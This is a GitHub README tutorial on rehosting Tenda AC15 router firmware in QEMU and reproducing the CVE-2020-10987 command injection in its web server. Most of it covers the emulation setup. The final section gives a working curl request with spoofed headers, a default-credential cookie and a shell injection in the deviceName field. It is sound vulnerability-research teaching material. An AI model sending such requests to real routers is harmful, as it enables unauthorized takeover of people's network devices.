Skip to content

Jaden-Bowers/Tenda-Router-VR-and-Exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

Tenda-Router-VR-and-Exploit

This write-up shows exactly how I emulated the AC15 (V15.03.05.19) firmware’s webserver with QEMU, made it reachable from the host browser, and exercised the vulnerable /goform/setUsbUnload handler (CVE-2020-10987) to get command execution inside the emulated rootfs.


Overview

  • Extract (or in our case obtain) the squashfs filesystem from the firmware image and start reversing
  • Build a Debian armhf guest running under qemu-system-arm
  • Set up the guest’s networking and port-forwarding path to the emulated router
  • Build our boot script
  • Exploit the emulated router

Extracting the filesystem

First we need to get our firmware image. I was not able to find the image download for AC15 V15.03.05.19 however I was able to find a github repo with the already extracted squashfs filesystem. If we were to have the correct image file we could extracted it using binwalk like so,

user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes
1722572       0x1A48CC        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

Since we don't have the correct image file but a repo with the already extracted filesystem, we can just clone the repo.

git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

I have made a directory called VR and cloned this repo inside it. My rootfs is at $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

Great now we have our AC15 V15.03.05.19 firmware. Lets move onto some reversing to see whats going on.

Reverse Engineering

I will be using Ghidra 11.4.2 for my reversing. Lets navigate to our target binary here rootfs/bin/httpd and load it in Ghidra. If we go to the formsetUsbUnload function we can see,

  uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
  doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
  FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
  FUN_0002c6cc(param_1,"{\"errCode\":0}");
  FUN_0002cc14(param_1,200);
  return;

This is the vulnerability. The deviceName parameter is passed directly into doSystemCmd allowing us to send whatever commands we want.

Now since we are going to be rehosting this firmware using qemu and not the original router hardware, some programs are going to try to reach devices that aren't there and crash our startup. Since our goal is to exploit the webserver (httpd) I only focused on rehosting that binary not the whole startup (/rootfs/etc_ro/init.d/rcS). In hindsight im not sure this was the right move

So when looking at rcS I wanted to find anything that rcS might do that httpd would need. Towards the end of the file we can see:

cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS starts cfmd in the background right before the rest of the stack spins up. After some more research and looking at how the vulnerable function sends the command I came to the conclusion that,

  • httpd builds a cfm post
  • Then the cfm client talks to cfmd over a UNIX domain socket (e.g. /var/cfm_socket)

In the InitServer routine in cfmd we can see

unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);

It creates a UIX socket and listens. Overall how it works is the handler reads a fixed 0x7e0-byte frame from each client (RecvMsg/SendMsg). The first 4 bytes are a command code; then there’s a 512-byte key buffer and a 1500-byte value buffer (you can see the stack object sizes in the handler). It switches on the opcode and replies with an ACK code:

  • 2 -> Get: GetCfmValue(key, value) then reply code 3
  • 0 -> Set: SetCfmValue(key, value) then reply code 1
  • 0x11 -> Unset: UnSetCfmValue(key) then reply code 0x12
  • 10 -> Commit: SaveCfm2Flash() then reply 0x10 (OK) or 0xB (error)

So in order to emulate cfmd I created a short script cfm_stub

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

I will show how to compile this after the next part.

The next helper file is hooks.so. There are a few functions that are used in httpd and cfm that try to interact with non existent hardware. The following is what our program assumes when starting up

  • Flash + MTD partitions exist and are mountable.
  • An NVRAM device exists (/dev/nvram) and returns sane defaults.
  • Misc platform routines succeed (Layer-7 settings loader, RF power restore, etc.).

The following functions become an issue and therefore we have to patch with LD_PRELOAD=/hooks.so.

  • get_flash_type() -> if it returns 4, the code takes a file-based path (cfm_file_init), otherwise it tries to talk to MTD (which we don’t have).
  • get_cfm_blk_size_from_cache() (and or the variant j_get_cfm_blk_size_from_cache) is consulted for config block sizing.
  • Calls to Broadcom NVRAM shims (bcm_nvram_get) must not fail or the stack assumes “NVRAM destroyed” and heads into restore/reboot logic.
  • Additional routines like load_l7setting_file() and restore_power() are expected to succeed but touch non-existent hardware/files.

Here is our hooks.c. Credit to azeria-labs for the original.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) {
  puts("j_get_cfm_blk_size_from_cache called....\n");
  return 0x20000;  // 128 KiB block — what the file path expects
}

int get_flash_type() {
  puts("get_flash_type called....\n");
  return 4;        // force file-backed CFM init, not MTD
}

int load_l7setting_file() {
  puts("load_l7setting_file called....\n");
  return 1;        // pretend Layer-7 settings loaded OK
}

int restore_power(int a, int b) {
  puts("restore_power called....\n");
  return 0;        // success (don’t touch RF/power hardware)
}

char *bcm_nvram_get(char *key) {
  char *value = NULL;

  if (strcmp(key, "et0macaddr") == 0) {
    value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works
  }
  if (strcmp(key, "sb/1/macaddr") == 0) {
    value = strdup("DE:AD:BE:EF:CA:FD");
  }
  if (strcmp(key, "default_nvram") == 0) {
    value = strdup("default_nvram");     // signals “nvram is OK”
  }

  printf("bcm_nvram_get(%s) == %s\n", key, value);
  return value;
}

Now lets compile these files and place them in our firmware. To cross compile we can use Bootlin’s prebuilt uClibc toolchain.

wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

You should see something like the following

arm-buildroot-linux-uclibcgnueabi-gcc
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-ar
arm-buildroot-linux-uclibcgnueabi-gcc.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-nm
arm-buildroot-linux-uclibcgnueabi-gcc-ranlib
arm-linux-gcc arm-linux-gcc-9.3.0
arm-linux-gcc-9.3.0.br_real
arm-linux-gcc-ar arm-linux-gcc.br_real
arm-linux-gcc-nm
arm-linux-gcc-ranlib

Now we can compile with

arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

Then lastly install them into the firmware

$FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs"
install -m 0644 ./hooks.so  "$FIRM/hooks.so"
install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

Building ARM guest system

Lets set up our arm guest using qemu full system. I created a directory to hold this guest system at ~/qsys

Now in this directory lets setup our guest by doing the following

sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

This will create our armhf rootfs, update our guest, setup some base tools, then set our root username:password to root:root.

Next install the armhf kernal with

sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

Then we copy out the kernal and build the ext4 image

mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

Now to start up our guest system From ~/qsys run

qemu-system-arm \
  -M vexpress-a9 -cpu cortex-a9 -m 512M \
  -kernel ./kernel/zImage \
  -dtb ./kernel/vexpress-v2p-ca9.dtb \
  -initrd ./kernel/initrd.img \
  -append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0" \
  -nographic -audiodev none,id=noaudio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 \
  -device virtio-net-device,netdev=net0 \
  -drive file=./armhf.ext4,if=sd,format=raw \
  -fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on \
  -device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

Heres a quick rundown of what these lines in the startup commnand actally mean.

  • -M vexpress-a9 -cpu cortex-a9 -m 512M Use the Versatile Express A9 board model (A board supported by debian's armmp kernal)
  • -kernel/-dtb/-initr Boot the Debian kernel/initrd for this board, with the vexpress device-tree blob
  • -append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0" Standard rootfs-on-SD setup with serial console on PL011.
  • -nographic -audiodev none,id=noaudio Serial-only UI (no SDL window) and no audio.
  • -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 QEMU user-mode NAT; forward host:2222 to guest:22 and host:8080 to guest:80. This is important for networking. Will talk about this more later.
  • -device virtio-net-device,netdev=net0 Attach a NIC to the net0 backend.
  • -drive file=./armhf.ext4,if=sd,format=raw The Debian rootfs lives on an SD-like block device (/dev/mmcblk0).
  • -fsdev ... -device virtio-9p-device ... mount_tag=fw Expose the firmware rootfs (read-only) into the guest via 9p with tag fw. We’ll mount it at /firmware and layer an overlayfs on top for writability.

Now inside the guest you might get a few errors. That is fine as long as you get to the log in prompt and can log in with root:root.

Next to get internet on our guest system run the following

dhclient -v eth0  ||  udhcpc -i eth0

This will get a DHCP lease on eth0

Now install socat

apt-get update && apt-get install -y socat

Boot Script

Next lets create our boot script inside the guest's root directory.

nano boot_tenda.sh

Here is our boot script /root/boot_tenda_sh inside our guest with comments explaining each step.

set -e

# bring the extracted firmware rootfs from the host into the guest
mkdir -p /firmware
mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

# we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree
# this creates an overlay at /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay \
  -o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work \
  /mnt/fw

# bind the usual pseudo filesystems
mount --bind /dev  /mnt/fw/dev
mount --bind /proc /mnt/fw/proc
mount --bind /sys  /mnt/fw/sys
mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

# give the router its LAN IP (this is what httpd binds to)
# the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device
ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up

# /dev/log for components that try to log
pidof syslogd >/dev/null || syslogd

# copy UI like rcS does so the web UI files are in the served directory
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

# start the control socket server which httpd expects on boot. Without this httpd exits early
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' 
sleep 1
[ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

# start the vulnerable webserver with hooks
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' 
sleep 2

# relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)
# find the slirp IP on eth0
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 -> 192.168.0.1:80
if command -v socat >/dev/null; then
  nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
    >/root/socat.log 2>&1 &
else
  echo "socat not found"
fi 

# show listeners
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

Now time to run it

chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

You should see a listener on port 80 with httpd To further verify navigate to http://127.0.0.1:8080/ on your host and we can see the router's homepage.

If you want to learn more about how the networking works continue on reading if not you can skip to the last section where we exploit the webserver.

A quick overview of how the networking works

We needed to load the router's httpd inside the guest but make it reachable from the hosts browser at http://127.0.0.1:8080/ while the server still believes it’s bound to the router’s LAN IP (192.168.0.1). There are three pieces that make this work:

  1. QEMU user networking (slirp) + hostfwd
  2. A dummy LAN interface in the guest (br0 at 192.168.0.1)
  3. A local TCP relay inside the guest (socat)

1. QEMU user networking (slirp) + hostfwd

We do this in the startup command when we specify

-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
  • -netdev user,... enables slirp (QEMU’s user-mode NAT): the guest gets outbound Internet (DHCP, DNS) without needing root bridges or TAP devices on the host.
  • hostfwd=tcp::2222-:22 forwards host port 2222 -> guest port 22.
  • hostfwd=tcp::8080-:80 forwards host port 8080 -> guest port 80.

Then we get the DHCP lease for eth0. Note that Slirp typically assigns the guest 10.0.2.15, with the gateway at 10.0.2.2.

dhclient -v eth0  ||  udhcpc -i eth0

2. Make the router’s LAN IP exist in the guest

The real firmware expects to bind to the LAN bridge br0 at 192.168.0.1. We recreate that:

ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up
  • The binaries (or their libraries) often query interface names (e.g., lan_ifname=br0) and expect a bridge device.
  • Binding httpd to 192.168.0.1 keeps behavior/redirects (e.g., 302 to http://192.168.0.1/main.html) identical to the real device.
  • At this point, httpd listens only on 192.168.0.1:80 (not on the guest’s eth0).

3. Bridge hostfwd -> firmware listener with socat

host:8080 -> guest:80 is already set up by QEMU. But httpd is not listening on the guest’s eth0:80; it listens on 192.168.0.1:80. So inside the guest we add a tiny TCP relay:

# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

Here is the overall layout

Host browser (127.0.0.1:8080)
        │
        V
QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15)
        │
        V
socat in guest: 10.0.2.15:80 → 192.168.0.1:80
        │
        V
httpd bound at 192.168.0.1:80 (inside firmware chroot)

Exploit Time

The web stack protects “goform” endpoints behind some same-origin/AJAX checks and a “logged in” cookie. Send the same headers the UI JavaScript would:

curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

What does this do exactly?

  • Host/Origin/Referer/X-Requested-With passes the AJAX + same-origin checks in the handler
  • Cookie: user=admin; password=<md5> simulates a logged-in session. In this case I used md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) sets the device name to the command we want to run. In this case we are creating a file /tmp/Hello_World Note that running this command will hang for a while then mostly likely close the connection with an error. This is fine and proof it worked.

Next in the guest to further verify we can check for the existence of our new file

chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

You should see

-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

We successfully exploited our rehosted router by executing our sent command

About

Writeup for Tenda AC15 router firmware rehosting and remote command execution (CVE-2020-10987) exploit replication.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors